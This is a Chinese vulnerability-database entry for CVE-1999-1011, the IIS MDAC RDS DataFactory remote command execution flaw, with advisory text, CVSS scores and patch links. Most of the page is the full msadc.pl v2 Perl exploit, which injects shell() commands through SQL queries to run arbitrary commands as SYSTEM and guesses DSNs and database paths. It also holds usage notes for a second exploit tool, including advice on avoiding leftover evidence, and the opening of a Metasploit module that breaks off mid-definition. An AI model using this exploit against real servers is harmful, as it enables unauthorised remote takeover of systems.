CVE-1999-1011
CVSS10.0
发布时间 :1999-07-19 00:00:00
修订时间 :2011-03-07 21:01:28
NMCOEP    

[原文]The Remote Data Service (RDS) DataFactory component of Microsoft Data Access Components (MDAC) in IIS 3.x and 4.x exposes unsafe methods, which allows remote attackers to execute arbitrary commands.


[CNNVD]Microsoft Windows NT IIS MDAC RDS远程命令执行漏洞(MS99-025)(CNNVD-199907-021)

        
        MDAC(Microsoft Data Access Components)是一个把Web和数据库结合起来的软件包。它包含了一个叫RDS(Remote Data Services)的组件。RDS可以使用户通过IIS访问数据库,RDS与IIS都是默认安装的。
        RDS中的一个组件DataFactory存在漏洞可以使Web服务用户获取IIS服务器上非公开的文件,远程攻击者也可以使用MDAC转发ODBC请求使之能访问到非公开的服务器。
        如果服务器上安装了Microsoft JET OLE DB Provider或Microsoft DataShape Provider攻击者可以使用shell() VBA调用在系统上以System权限执行任意命令,具体细节可以参看Microsoft JET Database Engine VBA相关的漏洞,与当前这个漏洞结合使用可以使攻击者以System的权限在系统上执行任意命令。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-264 [权限、特权与访问控制]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:data_access_components:2.1Microsoft MDAC 2.1
cpe:/a:microsoft:data_access_components:1.5Microsoft MDAC 1.5
cpe:/a:microsoft:internet_information_server:3.0Microsoft IIS 3.0
cpe:/a:microsoft:data_access_components:2.0Microsoft MDAC 2.0
cpe:/a:microsoft:internet_information_server:4.0Microsoft IIS 4.0
cpe:/a:microsoft:index_server:2.0Microsoft index_server 2.0
cpe:/a:microsoft:site_server:3.0Microsoft Site Server 3.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1011
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1011
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199907-021
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/ms99-025.asp
(PATCH)  MS  MS99-025
http://www.osvdb.org/272
(UNKNOWN)  OSVDB  272
http://www.microsoft.com/technet/security/bulletin/ms98-004.asp
(UNKNOWN)  MS  MS98-004
http://www.ciac.org/ciac/bulletins/j-054.shtml
(UNKNOWN)  BID  529
http://www.ciac.org/ciac/bulletins/j-054.shtml
(UNKNOWN)  CIAC  J-054

- 漏洞信息

Microsoft Windows NT IIS MDAC RDS远程命令执行漏洞(MS99-025)
危急 未知
1999-07-19 00:00:00 2006-02-20 00:00:00
远程  
        
        MDAC(Microsoft Data Access Components)是一个把Web和数据库结合起来的软件包。它包含了一个叫RDS(Remote Data Services)的组件。RDS可以使用户通过IIS访问数据库,RDS与IIS都是默认安装的。
        RDS中的一个组件DataFactory存在漏洞可以使Web服务用户获取IIS服务器上非公开的文件,远程攻击者也可以使用MDAC转发ODBC请求使之能访问到非公开的服务器。
        如果服务器上安装了Microsoft JET OLE DB Provider或Microsoft DataShape Provider攻击者可以使用shell() VBA调用在系统上以System权限执行任意命令,具体细节可以参看Microsoft JET Database Engine VBA相关的漏洞,与当前这个漏洞结合使用可以使攻击者以System的权限在系统上执行任意命令。
        

- 公告与补丁

        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS99-025)以及相应补丁:
        MS99-025:Re-Release: Unauthorized Access to IIS Servers through ODBC Data Access with RDS
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS99-025.asp

        需要按如下文章指示的方法做重新配置:
        
        http://www.microsoft.com/security/bulletins/MS99-025faq.asp

- 漏洞信息 (19424)

Microsoft Data Access Components (MDAC) <= 2.1,Microsoft IIS 3.0/4.0,Microsoft Index Server 2.0,Microsoft Site Server Commerce Edition 3.0 i386 MDAC RDS Vulnerability (1) (EDBID:19424)
windows remote
1999-07-19 Verified
0 rain forest puppy
N/A [点击下载]
source: http://www.securityfocus.com/bid/529/info

MDAC (Microsoft Data Access Components) is a package used to integrate web and database services. It includes a component named RDS (Remote Data Services). RDS allows remote access via the internet to database objects through IIS. Both are included in a default installation of the Windows NT 4.0 Option Pack, but can be excluded via a custom installation.

RDS includes a component called the DataFactory object, which has a vulnerability that could allow any web user to:
--Obtain unauthorized access to unpublished files on the IIS server
--Use MDAC to tunnel ODBC requests through to a remote internal or external location, thereby obtaining access to non-public servers or effectively masking the source of an attack on another network.

The main risk in this vulnerability is the following:
--If the Microsoft JET OLE DB Provider or Microsoft DataShape Provider are installed, a user could use the shell() VBA command on the server with System privileges. (See the Microsoft JET Database Engine VBA Vulnerability for more information). These two vulnerabilities combined can allow an attacker on the Internet to run arbitrary commands with System level privileges on the target host. 


msadc.pl exploit written and posted to bugtraq by Rain Forest Puppy.


--msadc.pl explanation: 
msadc.pl looks for a common file to exploit, namely btcustmr.mdb .
msadc.pl instructions:
run perl -x msadc.pl
Command line switches (copied from rfp's post):

-h <ip or domain> this is the host to scan. You MUST either
use either -h or -R.

-d <value 0-?> this is the delay between connections.
Value is in number of seconds. I added
this because hammering the RDS components
caused the server to occasionally stop
responding :) Defaults to 1. Use -d 0
to disable.

-V Use VbBusObj instead of DataFactory to
run the queries. NOTE: please read the -N
information below as to suggestions for
checking if VbBusObj exists. VbBusObj
does not give good error reporting;
therefore it is quite possible to have
false positives (and false negatives).
Consider VbBusObj support 3 stages before
beta. Don't say I didn't warn you.

-v verbose. This will print the ODBC error
information. Really only for
troubleshooting purposes.

-e external dictionary file to use on step
5--the 'DSN dictionary guess' stage. The
file should just be plaintext, one DSN
name per line file with all the DSN names
you want to try. Quite honestly a normal
dictionary file won't do you much good.
You can probably do pretty damn well with
a few dozen or two good ones, like 'www',
'data', 'database', 'sql', etc.

-R resume. You can still specify -v or -d
with -R. This will cause the script to
read in rds.save and execute the command
on the last valid connection.

-N Use VbBusObj to try to get the machine's
NetBIOS name. It may return no name
if the VbBusObj is unavailable. I suggest
you use -N to see if VbBusObj exists (a
NetBIOS name will be returned if so)
before you use -V.

-X perform an Index Server table dump instead.
None of the other switches really apply
here, other than -v (although -d still
works, there's no need to slow down one
query). This dumps the root paths from
Index Server, which can be rather lengthy.
I suggest you pipe the output into a file.
Also, if there is a lot of return
information, this command may take a while
to complete. Be patient. And I don't
suggest you use this command more than
once a minute...it caused my P200 w/
128 RAM to stop answering requests, and
in general borked inetinfo.exe. If you do
decide to CONTROL-C during the middle of the
data download the script will save all
received data into a file called 'raw.out',
so you don't loose everything you've
already received. NOTE: this is the raw
data, which is in Unicode.

rfp submitted a version 2 of this exploit on October 10, 1999. New features include:

- UNC support. This has only been tested with Windows 95 shares...NT may
cause authentication wackiness. Use -u \\server\share\file.mdb.
Also, on unix boxen, don't forget you have to escape the '\', so
would look like \\\\server\\share\\file.mdb. Also have not tested
with Samba. Let me know if you have good/bad results.

- Win 95 support. Use -w to use command /c instead of cmd /c.

- Slimmed down the query process. Before it would query to determine if
it was using Access driver, then create a table called 'AZZ', and
then try to use this 'AZZ' table for the exploit. This left
obvious leftovers (tables named 'AZZ') on the server. Now it just
queries MSysModules firsthand, which cuts down the steps and stops
leaving evidence. However, this may not always work. Use the -c
switch for backwards compatibility (3 step process). I would run
normal, and if nothing works, try it again with the -c switch.

- Only run a certain step. Use the -s switch to specify which step to
run. For those of you itching to try the new UNC support, you
can run it immediately (normally it's step 5), by running:

./msadc.pl -h <host> -u <unc path> -s 5



NOTE ON SUCCESS: The script reports 'Success!' when it has issued a valid
SQL statement. 'Success!' does *NOT* mean that your command worked. If
they have MDAC 2.1+ shell commands are worthless, so the script will
report 'Success!' (it went through) but your command didn't run (MDAC 2.1
didn't interpret it). There's no return indication to know whether your
command worked or not. As with the ODBC commands, you're flying blind.



#!/usr/bin/perl
#
# MSADC/RDS 'usage' (aka exploit) script version 2
#
#       by rain forest puppy
#
#       - added UNC support, really didn't clean up code, but oh well

use Socket; use Getopt::Std;
getopts("e:vd:h:XRVNwcu:s:", \%args);

print "-- RDS smack v2 - rain forest puppy / ADM / wiretrip --\n";

if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
        -h <host>               = host you want to scan (ip or domain)
        -d <seconds>            = delay between calls, default 1 second
        -X                      = dump Index Server path table, if available
        -N                      = query VbBusObj for NetBIOS name
        -V                      = use VbBusObj instead of ActiveDataFactory
        -v                      = verbose
        -e                      = external dictionary file for step 5
        -u <\\\\host\\share\\file>      = use UNC file
        -w                      = Windows 95 instead of Windows NT
        -c                      = v1 compatibility (three step query)
        -s <number>             = run only step <number>

        Or a -R will resume a (v2) command session

~; exit;}

###########################################################
# config data

@drives=("c","d","e","f","g","h");

@sysdirs=("winnt","winnt35","winnt351","win","windows");

# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
        "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
        "banner", "banners", "ads", "ADCDemo", "ADCTest");

# this is sparse, because I don't know of many
@sysmdbs=(      "\\catroot\\icatalog.mdb",
                "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
                "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
                "\\system32\\certmdb.mdb",
                "\\system32\\ias\\ias.mdb",
                "\\system32\\ias\dnary.mdb",
                "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
@mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
        "\\cfusion\\cfapps\\forums\\forums_.mdb",
        "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
        "\\cfusion\\cfapps\\security\\realm_.mdb",
        "\\cfusion\\cfapps\\security\\data\\realm.mdb",
        "\\cfusion\\database\\cfexamples.mdb",
        "\\cfusion\\database\\cfsnippets.mdb",
        "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
        "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
        "\\cfusion\\brighttiger\\database\\cleam.mdb",
        "\\cfusion\\database\\smpolicy.mdb",
        "\\cfusion\\database\cypress.mdb",
        "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
        "\\website\\cgi-win\\dbsample.mdb",
        "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
        "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
        );  #these are just \
###########################################################

$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $target= inet_aton($ip) 
        || die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }

if (defined $args{X}) { &hork_idx; exit; }
if (defined $args{N}) { &get_name; exit; }

if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
if (defined $args{R}) { &load; exit; }

print "Type the command line you want to run ($comm assumed):\n"
        . "$comm ";
$in=<STDIN>;    chomp $in;
$command="$comm " . $in ;

if (!defined $args{s} || $args{s}==1){
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;}

if (!defined $args{s} || $args{s}==2){
print "\nStep 2: Trying to make our own DSN...";
if (&make_dsn){ print "<<success>>\n"; sleep(3); } else {
        print "<<fail>>\n"; }}   # we need to sleep to let the server catchup

if (!defined $args{s} || $args{s}==3){
print "\nStep 3: Trying known DSNs...";
&known_dsn;}

if (!defined $args{s} || $args{s}==4){
print "\nStep 4: Trying known .mdbs...";
&known_mdb;}

if (!defined $args{s} || $args{s}==5){
if (defined $args{u}){
print "\xStep 5: Trying UNC...";
&use_unc; } else { "\nNo -u; Step 5 skipped.\n"; }}

if (!defined $args{s} || $args{s}==6){
if (defined $args{e}){
print "\nStep 6: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 6 skipped.\n"; }}

print "\n\nNo luck, guess you'll have to use a real hack, eh?\n";
exit;

##############################################################################

sub sendraw {   # this saves the whole transaction anyway
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                open(OUT,">raw.out");   my @in;
                select(S);      $|=1;   print $pstr;            
                while(<S>){ print OUT $_; push @in, $_; 
                        print STDOUT "." if(defined $args{X});}
                close(OUT); select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }}

##############################################################################

sub make_header {  # make the HTTP request
my $aa, $bb;
if (defined $args{V}){
$aa="VbBusObj.VbBusObjCls.GetRecordset";
$bb="2";
} else {
$aa="AdvancedDataFactory.Query";
$bb="3";}

$msadc=<<EOT
POST /msadc/msadcs.dll/$aa HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=$bb

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
;
$msadc=~s/\n/\r\n/g;
return $msadc;}

##############################################################################

sub make_req {  # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;

if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City='|shell(\"$command\")|'";
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
        $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}

elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}

elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C='|shell(\"$command\")|'";
$dsn="$p1";}

elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}

elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}

elsif ($switch==6){ # this is table-independant query (new)
$query="select * from MSysModules where name='|shell(\"$command\")|'";
$dsn="$p1";}

$t1= make_unicode($query);
$t2= make_unicode($dsn);
if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}

##############################################################################

sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}

##############################################################################

sub rdo_success {  # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}

##############################################################################

sub make_dsn {  # this (tries to) make a DSN for us
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
        "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
        . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
  foreach $line (@results) {
    return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
} return 0;}

##############################################################################

sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}

##############################################################################

sub try_btcustmr {

foreach $dir (@sysdirs) {
 print "$dir -> "; # fun status so you can see progress
 foreach $drive (@drives) {
 print "$drive: ";  # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";

save("dbq=".$drive.":\\".$dir."\\help\\iis\\htm\\tutorial\\btcustmr.mdb;");
        exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}

##############################################################################

sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error.  Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
        $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

##############################################################################

sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}

##############################################################################

sub save {
my ($p1)=@_; my $ropt="";
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
if (defined $args{c}){ $ropt="c ";}
if (defined $args{V}){ $ropt.="V ";}
if (defined $args{w}){ $ropt.="w ";}
print OUT "v2\n$ip\n$ropt\n$p1\n";
close OUT;}

##############################################################################

sub load {
my ($action)=@_;
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)};";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
die("Wrong rds.save version") if $p[0] ne "v2\n";
$ip="$p[1]"; $ip=~s/\n//g;
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
@switches=split(/ /,$p[2]);
foreach $switch (@switches) {
        $args{$switch}="1";}

if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
print "Type the command line you want to run ($comm assumed):\n"
        . "$comm ";
$in=<STDIN>;    chomp $in;
$command="$comm " . $in ;

$torun="$p[3]"; $torun=~s/\n//g;
if($torun=~/btcustmr/){ 
        $args{'c'}="1";}   # this is a kludge to make it work

if($torun=~/^dbq/){ $torun=$drvst.$torun; }

if(run_query("$torun")){
        print "Success!\n";} else { print "failed\n"; }
exit;}

##############################################################################

sub create_table {
return 1 if (!defined $args{c});
return 1 if (defined $args{V});
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results);  verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}

##############################################################################

sub known_dsn {
foreach $dSn (@dsns) {
        print ".";
        next if (!is_access("DSN=$dSn"));
        if(create_table("DSN=$dSn")){
        if(run_query("DSN=$dSn")){
        print "$dSn: Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n";}

##############################################################################

sub is_access {
my ($in)=@_;
return 1 if (!defined $args{c});
return 1 if (defined $args{V});
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}

##############################################################################

sub run_query {
my ($in)=@_; my $req;
if (defined $args{c}){$req=3;} else {$req=6;}
$reqlen=length( make_req($req,$in,"") ) - 28;

$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req($req,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results);  verbose($temp);
return 0;}

##############################################################################

sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";

foreach $drive (@drives) {
 foreach $dir (@sysdirs){
  foreach $mdb (@sysmdbs) {
   print ".";
   if(create_table($drv.$drive.":\\".$dir.$mdb)){
    if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
     print "$mdb: Success!\n"; save ("dbq=".$drive .":\\".$dir.$mdb); exit; 
    }}}}}

 foreach $drive (@drives) {
  foreach $mdb (@mdbs) {
   print ".";
   if(create_table($drv.$drive.":".$mdb)){
    if(run_query($drv.$drive.":".$mdb)){
     print "$mdb: Success!\n"; save ("dbq=".$drive.":".$mdb); exit; 
    }}}}
}

##############################################################################

sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print "  NOTE:  Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
        $results[$c]=~s/\x00//g;
        $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
        $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
        $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
        $d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server not installed/query failed\n"; }}

##############################################################################

sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
        $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
        next if (!is_access("DSN=$dSn"));
        if(create_table("DSN=$dSn")){
        if(run_query("DSN=$dSn")){
        print "Success!\n"; save ("dsn=$dSn"); exit; }}} 
print "\n"; close(IN);}

##############################################################################

sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) { # assume there's less than 500 headers
 if($in[$c] =~/^\x0d\x0a/){
  if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
  else { return $c+1; }}}
return -1;} # it should never get here actually 

##############################################################################

sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}
if($error=~/server has denied access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}}

##############################################################################

sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return if($results[$base]=~/Content-Type: application\/x-varg/);
my @s=grep("Server: ",@results);
if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n$s[0]\n" }
else { print "/msadc/msadcs.dll was not found.\n";}
exit;}

##############################################################################

sub use_unc {
$uncpath=$args{u};
$driverline="driver={Microsoft Access Driver (*.mdb)};dbq=";
if(!$uncpath=~/^\\\\[a-zA-Z0-9_.]+\\[-a-zA-Z0-9_]+\\.+/){
        print   "Your UNC path sucks.  You need the following format:\n".
                "\\server(ip preferable)\share\some-file.mdb\n\n"; exit; }

if(create_table($driverline.$uncpath)){
  if(run_query($driverline.$uncpath)){
     print "Success!\n"; save ("dbq=".$uncpath); exit;}}
}

##############################################################################

sub get_name { # this was added last minute
my $msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: 126
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0

--!ADM!ROX!YOUR!WORLD!--
EOT
;  $msadc=~s/\n/\r\n/g;
my @results=sendraw($msadc);
my $base=content_start(@results);
$results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
print "Machine name: $results[$base+6]\n";}

##############################################################################
# special greets to trambottic, hex_edit, vacuum (technotronic), all #!adm,
# #!w00w00 & #rhino9 (that's a lot of people, and they are all very elite and 
# good friends!), wiretrip, l0pht, nmrc & all of phrack
#
# thumbs up to packetstorm, hackernews, phrack, securityfocus, ntsecadvice
#
# I wish I could really name everyone, but I can't.  Don't feel slighted if
# your not on the list... :)
##############################################################################

		

- 漏洞信息 (19425)

Microsoft Data Access Components (MDAC) <= 2.1,Microsoft IIS 3.0/4.0,Microsoft Index Server 2.0,Microsoft Site Server Commerce Edition 3.0 i386 MDAC RDS Vulnerability (2) (EDBID:19425)
windows local
1999-07-19 Verified
0 Wanderley J. Abreu Jr
N/A [点击下载]
source: http://www.securityfocus.com/bid/529/info
 
MDAC (Microsoft Data Access Components) is a package used to integrate web and database services. It includes a component named RDS (Remote Data Services). RDS allows remote access via the internet to database objects through IIS. Both are included in a default installation of the Windows NT 4.0 Option Pack, but can be excluded via a custom installation.
 
RDS includes a component called the DataFactory object, which has a vulnerability that could allow any web user to:
--Obtain unauthorized access to unpublished files on the IIS server
--Use MDAC to tunnel ODBC requests through to a remote internal or external location, thereby obtaining access to non-public servers or effectively masking the source of an attack on another network.
 
The main risk in this vulnerability is the following:
--If the Microsoft JET OLE DB Provider or Microsoft DataShape Provider are installed, a user could use the shell() VBA command on the server with System privileges. (See the Microsoft JET Database Engine VBA Vulnerability for more information). These two vulnerabilities combined can allow an attacker on the Internet to run arbitrary commands with System level privileges on the target host. 


--RDSExploit information:
RDS EXPLOITER For Win98/NT
 
 
How it Works:
 
        The Intent of RDS Exploit is Deliver Shell comands into the machine or Retrive some DATA from a ODBC valid conection.
      
1. Seting ODBC Conection:
First of all you will need to know some valid DSN, the UID (User ID) and Password.  Put the information about the conection into "Connection Properties":
Data Source: The DSN Conection Name (it MUST be a registered DSN)
User ID: Login (it can be null sometimes)
Password: Password (it can be null sometimes)Â Â 
Mode: The way you want to open the Table (Read Only or Read and Write)
 
You must follow the order above and don't forget the ; to separate the options
 It can be for instance a line like this:
"Data Source=AdvWorks;User ID=;Password=;Mode=Read|Write;"
  
2. SQL Comands:
Put into the "SQL Parameters" box the command line you want to deliver for example:
"SELECT * FROM Products"

3. Host:
 You MUST Enter the host like this http://server  DON'T FORGET HTTP:// or it'll not work.
 
After all done, just click in the button "Retrieve Data" and see what happens =)
  


http://www.exploit-db.com/sploits/19425.zip
		

- 漏洞信息 (F113353)

Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution (PacketStormID:F113353)
2012-06-07 00:00:00
patrick  metasploit.com
exploit,remote,arbitrary,shell
windows
CVE-1999-1011
[点击下载]

This Metasploit module can be used to execute arbitrary commands on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components (MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj or AdvancedDataFactory to inject shell commands into Microsoft Access databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN). Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively used in the wild in the late Ninties. MDAC versions affected include MDAC 1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS installed, and NT4 Servers with the NT Option Pack installed or upgraded 2000 systems often running IIS3/4/5 however some vulnerable installations can still be found on newer Windows operating systems. Note that newer releases of msadcs.dll can still be abused however by default remote connections to the RDS is denied. Consider using VERBOSE if you're unable to successfully execute a command, as the error messages are detailed and useful for debugging. Also set NAME to obtain the remote hostname, and METHOD to use the alternative VbBusObj technique.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::CmdStagerTFTP

	def initialize
		super(
			'Name'           => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
			'Description'    => %q{
					This module can be used to execute arbitrary commands on IIS servers
					that expose the /msadc/msadcs.dll Microsoft Data Access Components
					(MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj
					or AdvancedDataFactory to inject shell commands into Microsoft Access
					databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN).
					Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively
					used in the wild in the late Ninties. MDAC versions affected include MDAC
					1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS
					installed, and NT4 Servers with the NT Option Pack installed or upgraded
					2000 systems often running IIS3/4/5 however some vulnerable installations
					can still be found on newer Windows operating systems. Note that newer
					releases of msadcs.dll can still be abused however by default remote
					connections to the RDS is denied. Consider using VERBOSE if you're unable
					to successfully execute a command, as the error messages are detailed
					and useful for debugging. Also set NAME to obtain the remote hostname,
					and METHOD to use the alternative VbBusObj technique.
			},
			'Author'         => 'patrick',
			'Platform'       => 'win',
			'References'     =>
				[
					['OSVDB', '272'],
					['BID', '529'],
					['CVE', '1999-1011'],
					['MSB', 'ms98-004'],
					['MSB', 'ms99-025']
				],
			'Targets'        =>
				[
					# patrickw tested meterpreter OK 20120601
					# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
